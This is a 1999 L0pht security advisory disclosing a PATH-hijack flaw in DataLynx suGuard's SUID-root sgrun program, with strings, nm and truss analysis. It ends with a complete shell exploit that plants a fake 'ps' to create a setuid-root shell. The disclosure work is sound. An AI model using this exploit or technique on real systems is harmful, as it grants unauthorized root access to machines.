L0pht Advisory - DataLynx suGuard

[mudge () L0PHT COM (Dr. Mudge)]

                         L0pht Security Advisory

                       Advisory released Jan 3 1999
                  Application: suGuard rev 1.0 from DataLynx
                 Severity: any user configured under suGuard can
                         execute any command as root

                         Author: mudge () l0pht com
                  http://www.l0pht.com/advisories.html


Overview:

  During a cursory examination of DataLynx's suGuard program to exploit
  /tmp vulnerabilities, much more blatent security problems were uncovered.
  In particular, a process listing is run from suGuard's main application.
  The first instance of the 'ps' program found in the users PATH environment
  is assumed to be the valid ps program and is run with root privileges.

  sgrun, the datalynx program, is SUID root and as such enables any user
  configured for suGuard to execute arbitrary commands as root.

Example:

  [furby-death] ./dlx_sploit.sh /bin/datalynx/sgrun Identify
  datalynx sgrun proof of concept exploit from L0pht [mudge () l0pht com]

  Segmentation Fault
  root shell created as ./sushi

  [furby-death] ls -l sushi
  -r-sr-xr-x   1 root     other     186356 Oct  1 14:25 sushi
  [furby-death] ./sushi
  #

Description:

So, roughly 2:30am I was sitting around wondering when and how I should
release the /tmp tool that I had whipped up and left lying around. It
occured to me that the best way to show its merits was to have it aid in
finding a security vulnerability. What better type of application to
demonstrate security vulnerabilities in than security apps. It ends up
being akin to breaking into vehicles to steal those stupid red clubs (which
ends up being pretty easy).

The only question was what software to look at. As it turns out, one of the
folks over at the L0pht brought over a trade rag and I started leafing
through it. I was relatively confident that I would find some company who
had taken out a full page add with expensive looking artwork pawning their
wares. I would download an eval copy and have my example of poor code to
use in announcing the little temp-tool.

What I got was worse than I dared imagine. In fact, though there were
the style of problems that I was looking for, the kindergarden security
mistakes that presented themselves here that I was not looking for warranted
their own advisory. I guess I'll need to go find another piece of software
to usher in the little util.

suGuard is a commercial product put out by a company name DataLynx
[http://www.dlxguard.com]. It is basically sudo with a GUI interface and
some other functionality. Since it is designed to manage priviledged
execution of programs is installed SUID root.

A quick strings(1) shows several likely problems in the code:

  71800 /tmp
  74192 /tmp/dxpids.%d
  74208 ps -ef > %s
  78600 /tmp/gdtemp1
  78616 ps -ef > %s

The /tmp lines show improper usage of the /tmp directory while the ps lines
indicate what is most likely the args to a s{n}printf that will be handed
off for execution.

A quick nm(1) further validates our concerns:

0000204184 U popen
0000203536 U execvp

There are a couple of quick attacks to attempt here. First, playing with the
path and second playing with the field seperator IFS (both work here by the
way).

truss'ing the program will show the problems in much more detail:

  [note: Identify is the profile name I gave /bin/id for sgrun - see
   the suGuard documentation for how to set these up]

truss -f -o xxx /bin/datalynx/sgrun Identify
grep ps xxx
[snip]
15651:  stat64("/usr/sbin/ps", 0xEFFFF2D8)              Err#2 ENOENT
15651:  stat64("/usr/bin/ps", 0xEFFFF2D8)               = 0
15651:  access("/usr/bin/ps", 9)                        = 0
15653:  execve("/usr/bin/ps", 0x00038B78, 0x00038BAC)  argc = 2
[snip]

The above trace segment shows the walking of PATH directories to find ps
and then execute it with the arguments we noted from the strings(1) run.
This is what we expect since ps was not given an explicit path and the
calls for execution were either popen or execvp, both of which would follow
the PATH environment variable to find the executable.

Though we exercise this particular problem, it should be noted that several
others exist in the program.

Mini-Rant:

The web page for Datalynx has links to "hacker/cracker sites" and also
"security sites". It seems somewhat ironic that someone coming from a
"hacker/cracker" site (yes, l0pht is listed) finds this vulnerability and
publishes it yet none of the "security" sites seem to be doing this.
Makes you wonder who is really securing the internet/corporate world. Is
it the hackers or the "security sites"?

Exploit code:

--------cut here--------

#!/bin/sh
# sgrun exploit - the types of vulnerabilities that this exploit exercises
#  have no right being introduced to code in this day and age. Much less
#  code which presents itself under the pretenses of securing your system.
#   .mudge 01.02.99
#
SUSHI=./sushi

if [ $# -ne 2 ] ; then
  echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument
  echo  mudge () l0pht com [01.02.99]
  exit 1
fi

SGRUN=$1
ARG=$2

if [ -f ${SUSHI} ] ; then
  echo root shell already created?
  exit
fi

echo datalynx sgrun proof of concept exploit from L0pht [mudge () l0pht com]
echo

cat > ./ps << FOEFOE
#!/bin/sh
cp /bin/ksh ${SUSHI}
chown root ${SUSHI}
chmod 4555 ${SUSHI}
FOEFOE

chmod 755 ./ps

PATH=.:${PATH}
export PATH

#/bin/datalynx/sgrun Identify
${SGRUN} ${ARG}
if [ -f ${SUSHI} ] ; then
  echo root shell created as ${SUSHI}
  ls -l ${SUSHI}
  echo
fi

--------cut here--------

mudge () l0pht com
---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------